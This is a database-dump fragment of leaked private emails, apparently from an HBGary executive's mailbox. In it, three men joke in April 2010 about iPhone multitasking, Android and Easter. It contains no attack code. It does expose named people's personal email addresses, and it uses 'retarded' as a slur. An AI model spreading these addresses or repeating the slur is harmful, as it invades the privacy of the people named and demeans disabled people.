-----BEGIN PGP SIGNED MESSAGE-----\r\n>> Hash: SHA1\r\n>>\r\n>> Still won\'t even when the new version comes out.  It appears to\r\n>> just be\r\n>> API calls into common apps, as chosen by \"the one\", for access rather\r\n>> than true multitasking.  Apparently if you jailbreak an iPhone and\r\n>> have\r\n>> it multitask it slows to a crawl.\r\n>>\r\n>> Ted Vera wrote:\r\n>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>\r\n>>>\r\n>>>\r\n>>> On Apr 9, 2010, at 5:50 PM, mark  wrote:\r\n>>>\r\n>>> I\'m multitasking...doing that while I wait for the 3GB to download.\r\n>>> Aaron knows about multitasking.\r\n>>>\r\n>>> Ted Vera wrote:\r\n>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> On Apr 9, 2010, at 5:21 PM, mark  wrote:\r\n>>>>>>\r\n>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n>>>>>>>\r\n>>>\r\n>> -----BEGIN PGP SIGNATURE-----\r\n>> Version: GnuPG v1.4.9 (GNU/Linux)\r\n>> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n>>\r\n>> iEYEARECAAYFAku/wyEACgkQJiBdlDsg/MC6lQCdHeeFDO48TExeCJWmV6hoEmM8\r\n>> pQoAmwdWMyy7TLN5bb0nPxscw0go7B99\r\n>> =1zx/\r\n>> -----END PGP SIGNATURE-----\r\n',7757,'aaron_hbgary_com/7757.html'),(5121,'2010-04-10','\"mark\" <mark.trynor@gmail.com>','/aaron@hbgary.com/new/1297003253.M688839P3547Q5121.eml','\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@me.com>','Re: Addicting','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\ntrue, it would be.\r\n\r\nTed Vera wrote:\r\n> I like their implementation, perfect for mobile apps where battery and performance are concerns. Otherwise you\'d end up with an interface that lags, with choppy transitions. You know, like android. \r\n> \r\n> Tv\r\n> \r\n> Sent from my iPad\r\n> \r\n> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n> \r\n> Still won\'t even when the new version comes out.  It appears to just be\r\n> API calls into common apps, as chosen by \"the one\", for access rather\r\n> than true multitasking.  Apparently if you jailbreak an iPhone and have\r\n> it multitask it slows to a crawl.\r\n> \r\n> Ted Vera wrote:\r\n>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> On Apr 9, 2010, at 5:50 PM, mark  wrote:\r\n>>>>\r\n>>>> I\'m multitasking...doing that while I wait for the 3GB to download.\r\n>>>> Aaron knows about multitasking.\r\n>>>>\r\n>>>> Ted Vera wrote:\r\n>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> On Apr 9, 2010, at 5:21 PM, mark  wrote:\r\n>>>>>>>\r\n>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/xdYACgkQJiBdlDsg/MAFjwCfaTx0+8OhCx4wqRwVzcIxlgfn\r\nvAoAn2wW0BtJZMzxpHozk7WjTd/JseGP\r\n=QtBx\r\n-----END PGP SIGNATURE-----\r\n',15493,'aaron_hbgary_com/15493.html'),(5122,'2010-04-10','\"mark\" <mark.trynor@gmail.com>','/aaron@hbgary.com/new/1297003253.M878674P3547Q5122.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Addicting','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nLOL!  It give it that Linux feel I\'ve learned to love. Like a retarded\r\npet that keeps running into walls and glass doors.  It can get around\r\nbut I wouldn\'t call it elegant.\r\n\r\nAaron Barr wrote:\r\n> Nice.  Go screw yourself android.\r\n> \r\n>  From my iPhone\r\n> \r\n> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n> \r\n>> I like their implementation, perfect for mobile apps where battery\r\n>> and performance are concerns. Otherwise you\'d end up with an\r\n>> interface that lags, with choppy transitions. You know, like android.\r\n>>\r\n>> Tv\r\n>>\r\n>> Sent from my iPad\r\n>>\r\n>> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n>>\r\n> Still won\'t even when the new version comes out.  It appears to\r\n> just be\r\n> API calls into common apps, as chosen by \"the one\", for access rather\r\n> than true multitasking.  Apparently if you jailbreak an iPhone and\r\n> have\r\n> it multitask it slows to a crawl.\r\n> \r\n> Ted Vera wrote:\r\n>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> On Apr 9, 2010, at 5:50 PM, mark  wrote:\r\n>>>>>\r\n>>>>> I\'m multitasking...doing that while I wait for the 3GB to download.\r\n>>>>> Aaron knows about multitasking.\r\n>>>>>\r\n>>>>> Ted Vera wrote:\r\n>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark  wrote:\r\n>>>>>>>>\r\n>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/xjIACgkQJiBdlDsg/MAywACfUdUtvSZGkdtlHPbhh9eoiDWT\r\nmWIAoImC4d4vZmZLuSY5RQeSCjkn7A+G\r\n=wTHD\r\n-----END PGP SIGNATURE-----\r\n',16766,'aaron_hbgary_com/16766.html'),(5123,'2010-04-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003255.M236601P3547Q5123.eml','\"mark\" <mark.trynor@gmail.com>,\"mark\" <mark.trynor@gmail.com>','Re: Addicting','You can\'t tell us apple fanbois our gadgets aren\'t elegant,  it\'s like\r\ntelling a Christian that jesus raising from the dead was just a parlor\r\ntrick.\r\n\r\n\r\n From my iPhone\r\n\r\nOn Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n\r\n> -----BEGIN PGP SIGNED MESSAGE-----\r\n> Hash: SHA1\r\n>\r\n> LOL!  It give it that Linux feel I\'ve learned to love. Like a retarded\r\n> pet that keeps running into walls and glass doors.  It can get around\r\n> but I wouldn\'t call it elegant.\r\n>\r\n> Aaron Barr wrote:\r\n>> Nice.  Go screw yourself android.\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>\r\n>>> I like their implementation, perfect for mobile apps where battery\r\n>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>> interface that lags, with choppy transitions. You know, like\r\n>>> android.\r\n>>>\r\n>>> Tv\r\n>>>\r\n>>> Sent from my iPad\r\n>>>\r\n>>> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n>>>\r\n>> Still won\'t even when the new version comes out.  It appears to\r\n>> just be\r\n>> API calls into common apps, as chosen by \"the one\", for access rather\r\n>> than true multitasking.  Apparently if you jailbreak an iPhone and\r\n>> have\r\n>> it multitask it slows to a crawl.\r\n>>\r\n>> Ted Vera wrote:\r\n>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>\r\n>>>>>>\r\n>>>>>>\r\n>>>>>> On Apr 9, 2010, at 5:50 PM, mark  wrote:\r\n>>>>>>\r\n>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>> download.\r\n>>>>>> Aaron knows about multitasking.\r\n>>>>>>\r\n>>>>>> Ted Vera wrote:\r\n>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark \r\n>>>>>>>>> wrote:\r\n>>>>>>>>>\r\n>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n> -----BEGIN PGP SIGNATURE-----\r\n> Version: GnuPG v1.4.9 (GNU/Linux)\r\n> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n>\r\n> iEYEARECAAYFAku/xjIACgkQJiBdlDsg/MAywACfUdUtvSZGkdtlHPbhh9eoiDWT\r\n> mWIAoImC4d4vZmZLuSY5RQeSCjkn7A+G\r\n> =wTHD\r\n> -----END PGP SIGNATURE-----\r\n',11862,'aaron_hbgary_com/11862.html'),(5124,'2010-04-10','\"mark\" <mark.trynor@gmail.com>','/aaron@hbgary.com/new/1297003255.M442708P3547Q5124.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Addicting','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nI\'d never say apple doesn\'t make elegant gadgets.  I\'ve been using Linux\r\nboxes for so long I\'m just happy when the OK button shows up in the\r\nright place, but using jesus rising from the dead as a point of\r\nreference so close after easter has got to just be wrong.  Plus, I feel\r\nbad for people who believe in zombies, you\'ve gotta double tap.\r\n\r\nAaron Barr wrote:\r\n> You can\'t tell us apple fanbois our gadgets aren\'t elegant,  it\'s like\r\n> telling a Christian that jesus raising from the dead was just a parlor\r\n> trick.\r\n> \r\n> \r\n>  From my iPhone\r\n> \r\n> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n> \r\n> LOL!  It give it that Linux feel I\'ve learned to love. Like a retarded\r\n> pet that keeps running into walls and glass doors.  It can get around\r\n> but I wouldn\'t call it elegant.\r\n> \r\n> Aaron Barr wrote:\r\n>>>> Nice.  Go screw yourself android.\r\n>>>>\r\n>>>> From my iPhone\r\n>>>>\r\n>>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>>\r\n>>>>> I like their implementation, perfect for mobile apps where battery\r\n>>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>>> interface that lags, with choppy transitions. You know, like\r\n>>>>> android.\r\n>>>>>\r\n>>>>> Tv\r\n>>>>>\r\n>>>>> Sent from my iPad\r\n>>>>>\r\n>>>>> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n>>>>>\r\n>>>> Still won\'t even when the new version comes out.  It appears to\r\n>>>> just be\r\n>>>> API calls into common apps, as chosen by \"the one\", for access rather\r\n>>>> than true multitasking.  Apparently if you jailbreak an iPhone and\r\n>>>> have\r\n>>>> it multitask it slows to a crawl.\r\n>>>>\r\n>>>> Ted Vera wrote:\r\n>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>>\r\n>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark  wrote:\r\n>>>>>>>>\r\n>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>>> download.\r\n>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>\r\n>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>>>\r\n>>>>>>>>>>>\r\n>>>>>>>>>>>\r\n>>>>>>>>>>>\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark \r\n>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>\r\n>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/yGIACgkQJiBdlDsg/MAvwgCfTsTBHDYvFCj0DTgnCxnYdaz5\r\nakgAn2hsNek6K/b5X+Mzv6CJz3QQVME9\r\n=y+CZ\r\n-----END PGP SIGNATURE-----\r\n',9169,'aaron_hbgary_com/9169.html'),(5125,'2010-04-10','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297003255.M693228P3547Q5125.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Addicting','Android has potential, it\'s just a matter of time. Give it the 15 or  \r\nso years to evolve like Linux has had. Then it will be a wildly  \r\npopular platform for developers and SysAdmins. Still won\'t be sexy,  \r\nintuitive, and have the application base to appeal to the consumer  \r\nmarket...\r\n\r\nLol\r\n\r\n\r\n\r\nOn Apr 9, 2010, at 6:32 PM, Aaron Barr  wrote:\r\n\r\n> You can\'t tell us apple fanbois our gadgets aren\'t elegant,  it\'s like\r\n> telling a Christian that jesus raising from the dead was just a parlor\r\n> trick.\r\n>\r\n>\r\n> From my iPhone\r\n>\r\n> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>\r\n>> -----BEGIN PGP SIGNED MESSAGE-----\r\n>> Hash: SHA1\r\n>>\r\n>> LOL!  It give it that Linux feel I\'ve learned to love. Like a  \r\n>> retarded\r\n>> pet that keeps running into walls and glass doors.  It can get around\r\n>> but I wouldn\'t call it elegant.\r\n>>\r\n>> Aaron Barr wrote:\r\n>>> Nice.  Go screw yourself android.\r\n>>>\r\n>>> From my iPhone\r\n>>>\r\n>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>\r\n>>>> I like their implementation, perfect for mobile apps where battery\r\n>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>> interface that lags, with choppy transitions. You know, like\r\n>>>> android.\r\n>>>>\r\n>>>> Tv\r\n>>>>\r\n>>>> Sent from my iPad\r\n>>>>\r\n>>>> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n>>>>\r\n>>> Still won\'t even when the new version comes out.  It appears to\r\n>>> just be\r\n>>> API calls into common apps, as chosen by \"the one\", for access  \r\n>>> rather\r\n>>> than true multitasking.  Apparently if you jailbreak an iPhone and\r\n>>> have\r\n>>> it multitask it slows to a crawl.\r\n>>>\r\n>>> Ted Vera wrote:\r\n>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>>\r\n>>>>>>> On Apr 9, 2010, at 5:50 PM, mark  wrote:\r\n>>>>>>>\r\n>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>> download.\r\n>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>\r\n>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>>\r\n>>>>>>>>>>\r\n>>>>>>>>>>\r\n>>>>>>>>>>\r\n>>>>>>>>>>\r\n>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark \r\n>>>>>>>>>> wrote:\r\n>>>>>>>>>>\r\n>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n>> -----BEGIN PGP SIGNATURE-----\r\n>> Version: GnuPG v1.4.9 (GNU/Linux)\r\n>> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n>>\r\n>> iEYEARECAAYFAku/xjIACgkQJiBdlDsg/MAywACfUdUtvSZGkdtlHPbhh9eoiDWT\r\n>> mWIAoImC4d4vZmZLuSY5RQeSCjkn7A+G\r\n>> =wTHD\r\n>> -----END PGP SIGNATURE-----\r\n',7940,'aaron_hbgary_com/7940.html'),(5126,'2010-04-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297003255.M906826P3547Q5126.eml','\"mark\" <mark.trynor@gmail.com>,\"mark\" <mark.trynor@gmail.com>','Re: Addicting','Dude zombieland was funny.  What does Easter have to do with Jesus\r\nraising from the grave?\r\n\r\n From my iPhone\r\n\r\nOn Apr 9, 2010, at 8:37 PM, mark  wrote:\r\n\r\n> -----BEGIN PGP SIGNED MESSAGE-----\r\n> Hash: SHA1\r\n>\r\n> I\'d never say apple doesn\'t make elegant gadgets.  I\'ve been using\r\n> Linux\r\n> boxes for so long I\'m just happy when the OK button shows up in the\r\n> right place, but using jesus rising from the dead as a point of\r\n> reference so close after easter has got to just be wrong.  Plus, I\r\n> feel\r\n> bad for people who believe in zombies, you\'ve gotta double tap.\r\n>\r\n> Aaron Barr wrote:\r\n>> You can\'t tell us apple fanbois our gadgets aren\'t elegant,  it\'s\r\n>> like\r\n>> telling a Christian that jesus raising from the dead was just a\r\n>> parlor\r\n>> trick.\r\n>>\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>>\r\n>> LOL!  It give it that Linux feel I\'ve learned to love. Like a\r\n>> retarded\r\n>> pet that keeps running into walls and glass doors.  It can get around\r\n>> but I wouldn\'t call it elegant.\r\n>>\r\n>> Aaron Barr wrote:\r\n>>>>> Nice.  Go screw yourself android.\r\n>>>>>\r\n>>>>> From my iPhone\r\n>>>>>\r\n>>>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>>>\r\n>>>>>> I like their implementation, perfect for mobile apps where\r\n>>>>>> battery\r\n>>>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>>>> interface that lags, with choppy transitions. You know, like\r\n>>>>>> android.\r\n>>>>>>\r\n>>>>>> Tv\r\n>>>>>>\r\n>>>>>> Sent from my iPad\r\n>>>>>>\r\n>>>>>> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n>>>>>>\r\n>>>>> Still won\'t even when the new version comes out.  It appears to\r\n>>>>> just be\r\n>>>>> API calls into common apps, as chosen by \"the one\", for access\r\n>>>>> rather\r\n>>>>> than true multitasking.  Apparently if you jailbreak an iPhone and\r\n>>>>> have\r\n>>>>> it multitask it slows to a crawl.\r\n>>>>>\r\n>>>>> Ted Vera wrote:\r\n>>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark \r\n>>>>>>>>> wrote:\r\n>>>>>>>>>\r\n>>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>>>> download.\r\n>>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>>\r\n>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark \r\n>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n> -----BEGIN PGP SIGNATURE-----\r\n> Version: GnuPG v1.4.9 (GNU/Linux)\r\n> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n>\r\n> iEYEARECAAYFAku/yGIACgkQJiBdlDsg/MAvwgCfTsTBHDYvFCj0DTgnCxnYdaz5\r\n> akgAn2hsNek6K/b5X+Mzv6CJz3QQVME9\r\n> =y+CZ\r\n> -----END PGP SIGNATURE-----\r\n',8021,'aaron_hbgary_com/8021.html'),(5127,'2010-04-10','\"mark\" <mark.trynor@gmail.com>','/aaron@hbgary.com/new/1297003256.M104043P3547Q5127.eml','\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@me.com>','Re: Addicting','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nHoly shit that\'s funny!  Hey, I like knowing what apps I\'ll be getting\r\nfor my phone in 3-9 months.  Keeps me from downloading 100\'s of them\r\njust to see what they do.  I just wait for you two to tell me about the\r\nsame app and then I go to the market place and check it every few weeks\r\nand hope that I get an official release some day after I\'ve downloaded\r\nJoe2375\'s version that promises full support \"one day\"\r\n\r\nTed Vera wrote:\r\n> Android has potential, it\'s just a matter of time. Give it the 15 or so\r\n> years to evolve like Linux has had. Then it will be a wildly popular\r\n> platform for developers and SysAdmins. Still won\'t be sexy, intuitive,\r\n> and have the application base to appeal to the consumer market...\r\n> \r\n> Lol\r\n> \r\n> \r\n> \r\n> On Apr 9, 2010, at 6:32 PM, Aaron Barr  wrote:\r\n> \r\n>> You can\'t tell us apple fanbois our gadgets aren\'t elegant,  it\'s like\r\n>> telling a Christian that jesus raising from the dead was just a parlor\r\n>> trick.\r\n>>\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>>\r\n> LOL!  It give it that Linux feel I\'ve learned to love. Like a retarded\r\n> pet that keeps running into walls and glass doors.  It can get around\r\n> but I wouldn\'t call it elegant.\r\n> \r\n> Aaron Barr wrote:\r\n>>>>> Nice.  Go screw yourself android.\r\n>>>>>\r\n>>>>> From my iPhone\r\n>>>>>\r\n>>>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>>>\r\n>>>>>> I like their implementation, perfect for mobile apps where battery\r\n>>>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>>>> interface that lags, with choppy transitions. You know, like\r\n>>>>>> android.\r\n>>>>>>\r\n>>>>>> Tv\r\n>>>>>>\r\n>>>>>> Sent from my iPad\r\n>>>>>>\r\n>>>>>> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n>>>>>>\r\n>>>>> Still won\'t even when the new version comes out.  It appears to\r\n>>>>> just be\r\n>>>>> API calls into common apps, as chosen by \"the one\", for access rather\r\n>>>>> than true multitasking.  Apparently if you jailbreak an iPhone and\r\n>>>>> have\r\n>>>>> it multitask it slows to a crawl.\r\n>>>>>\r\n>>>>> Ted Vera wrote:\r\n>>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>>\r\n>>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark  wrote:\r\n>>>>>>>>>\r\n>>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>>>> download.\r\n>>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>>\r\n>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark \r\n>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>\r\n>>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (GNU/Linux)\r\nComment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n\r\niEYEARECAAYFAku/yWcACgkQJiBdlDsg/MBIiwCfZU6TBgz6IDV5bxNl6sTl7he+\r\nqhsAnA5ZxcZpTjMz9UBE4RFA/XB/jG/O\r\n=SEPC\r\n-----END PGP SIGNATURE-----\r\n',387,'aaron_hbgary_com/387.html'),(5128,'2010-04-10','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297003256.M334014P3547Q5128.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Re: Addicting','On Easter Jesus rose from the grave, and was reincarnated as the  \r\nEaster Bunny. Dummy.\r\n\r\nOn Apr 9, 2010, at 6:40 PM, Aaron Barr  wrote:\r\n\r\n> Dude zombieland was funny.  What does Easter have to do with Jesus\r\n> raising from the grave?\r\n>\r\n> From my iPhone\r\n>\r\n> On Apr 9, 2010, at 8:37 PM, mark  wrote:\r\n>\r\n>> -----BEGIN PGP SIGNED MESSAGE-----\r\n>> Hash: SHA1\r\n>>\r\n>> I\'d never say apple doesn\'t make elegant gadgets.  I\'ve been using\r\n>> Linux\r\n>> boxes for so long I\'m just happy when the OK button shows up in the\r\n>> right place, but using jesus rising from the dead as a point of\r\n>> reference so close after easter has got to just be wrong.  Plus, I\r\n>> feel\r\n>> bad for people who believe in zombies, you\'ve gotta double tap.\r\n>>\r\n>> Aaron Barr wrote:\r\n>>> You can\'t tell us apple fanbois our gadgets aren\'t elegant,  it\'s\r\n>>> like\r\n>>> telling a Christian that jesus raising from the dead was just a\r\n>>> parlor\r\n>>> trick.\r\n>>>\r\n>>>\r\n>>> From my iPhone\r\n>>>\r\n>>> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>>>\r\n>>> LOL!  It give it that Linux feel I\'ve learned to love. Like a\r\n>>> retarded\r\n>>> pet that keeps running into walls and glass doors.  It can get  \r\n>>> around\r\n>>> but I wouldn\'t call it elegant.\r\n>>>\r\n>>> Aaron Barr wrote:\r\n>>>>>> Nice.  Go screw yourself android.\r\n>>>>>>\r\n>>>>>> From my iPhone\r\n>>>>>>\r\n>>>>>> On Apr 9, 2010, at 7:51 PM, Ted Vera  wrote:\r\n>>>>>>\r\n>>>>>>> I like their implementation, perfect for mobile apps where\r\n>>>>>>> battery\r\n>>>>>>> and performance are concerns. Otherwise you\'d end up with an\r\n>>>>>>> interface that lags, with choppy transitions. You know, like\r\n>>>>>>> android.\r\n>>>>>>>\r\n>>>>>>> Tv\r\n>>>>>>>\r\n>>>>>>> Sent from my iPad\r\n>>>>>>>\r\n>>>>>>> On Apr 9, 2010, at 6:15 PM, mark  wrote:\r\n>>>>>>>\r\n>>>>>> Still won\'t even when the new version comes out.  It appears to\r\n>>>>>> just be\r\n>>>>>> API calls into common apps, as chosen by \"the one\", for access\r\n>>>>>> rather\r\n>>>>>> than true multitasking.  Apparently if you jailbreak an iPhone  \r\n>>>>>> and\r\n>>>>>> have\r\n>>>>>> it multitask it slows to a crawl.\r\n>>>>>>\r\n>>>>>> Ted Vera wrote:\r\n>>>>>>>>>> No he doesn\'t, the iPhone doesn\'t support it. Yet.\r\n>>>>>>>>>>\r\n>>>>>>>>>>\r\n>>>>>>>>>>\r\n>>>>>>>>>> On Apr 9, 2010, at 5:50 PM, mark \r\n>>>>>>>>>> wrote:\r\n>>>>>>>>>>\r\n>>>>>>>>>> I\'m multitasking...doing that while I wait for the 3GB to\r\n>>>>>>>>>> download.\r\n>>>>>>>>>> Aaron knows about multitasking.\r\n>>>>>>>>>>\r\n>>>>>>>>>> Ted Vera wrote:\r\n>>>>>>>>>>>>> What does this have to do with compiling assembly code?\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> On Apr 9, 2010, at 5:21 PM, mark \r\n>>>>>>>>>>>>> wrote:\r\n>>>>>>>>>>>>>\r\n>>>>>>>>>>>>> http://www.labpixies.com/gadget_page.php?id=10\r\n>> -----BEGIN PGP SIGNATURE-----\r\n>> Version: GnuPG v1.4.9 (GNU/Linux)\r\n>> Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/\r\n>>\r\n>> iEYEARECAAYFAku/yGIACgkQJiBdlDsg/MAvwgCfTsTBHDYvFCj0DTgnCxnYdaz5\r\n>> akgAn2hsNek6K/b5X+Mzv6CJz3QQVME9\r\n>> =y+CZ\r\n>> -----END PGP SIGNATURE-----\r\n',15386,'aaron_hbgary_com/15386.html'),(5129,'2010-04-10','\"mark\" <mark.trynor@gmail.com>','/aaron@hbgary.com/new/1297003256.M549122P3547Q5129.eml','\"Ted Vera\" <tedvera@me.com>,\"Ted Vera\" <tedvera@me.com>','Re: Addicting','-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nThen we took that bunny, dipped it in chocolate and ate it.  Like\r\nChrists body during sacrament.\r\n\r\nThat sounds weird enough to be true.\r\n\r\n\r\nTed Vera wrote:\r\n> On Easter Jesus rose from the grave, and was reincarnated as the Easter\r\n> Bunny. Dummy.\r\n> \r\n> On Apr 9, 2010, at 6:40 PM, Aaron Barr  wrote:\r\n> \r\n>> Dude zombieland was funny.  What does Easter have to do with Jesus\r\n>> raising from the grave?\r\n>>\r\n>> From my iPhone\r\n>>\r\n>> On Apr 9, 2010, at 8:37 PM, mark  wrote:\r\n>>\r\n> I\'d never say apple doesn\'t make elegant gadgets.  I\'ve been using\r\n> Linux\r\n> boxes for so long I\'m just happy when the OK button shows up in the\r\n> right place, but using jesus rising from the dead as a point of\r\n> reference so close after easter has got to just be wrong.  Plus, I\r\n> feel\r\n> bad for people who believe in zombies, you\'ve gotta double tap.\r\n> \r\n> Aaron Barr wrote:\r\n>>>>> You can\'t tell us apple fanbois our gadgets aren\'t elegant,  it\'s\r\n>>>>> like\r\n>>>>> telling a Christian that jesus raising from the dead was just a\r\n>>>>> parlor\r\n>>>>> trick.\r\n>>>>>\r\n>>>>>\r\n>>>>> From my iPhone\r\n>>>>>\r\n>>>>> On Apr 9, 2010, at 8:28 PM, mark  wrote:\r\n>>>>>\r\n>>>>> LOL!  It give it that Linux feel I\'ve learned to love. Like a\r\n>>>>> retarded\r\n>>>>> pet that keeps running into walls and glass doors.  It can get around\r\n>>>>> but I wouldn\'t call it elegant.\r\n>>>>>\r\n>>>>> Aaron Barr wrote:\r\n>>>>>>>> Nice.  Go screw yourself android.\r\n>>>>>>>>\r\n>>>>>>>> From my iPhone\r\n>>>>>>>>\r\n>>>>>>>> On Apr 9, 2010, at 7:51 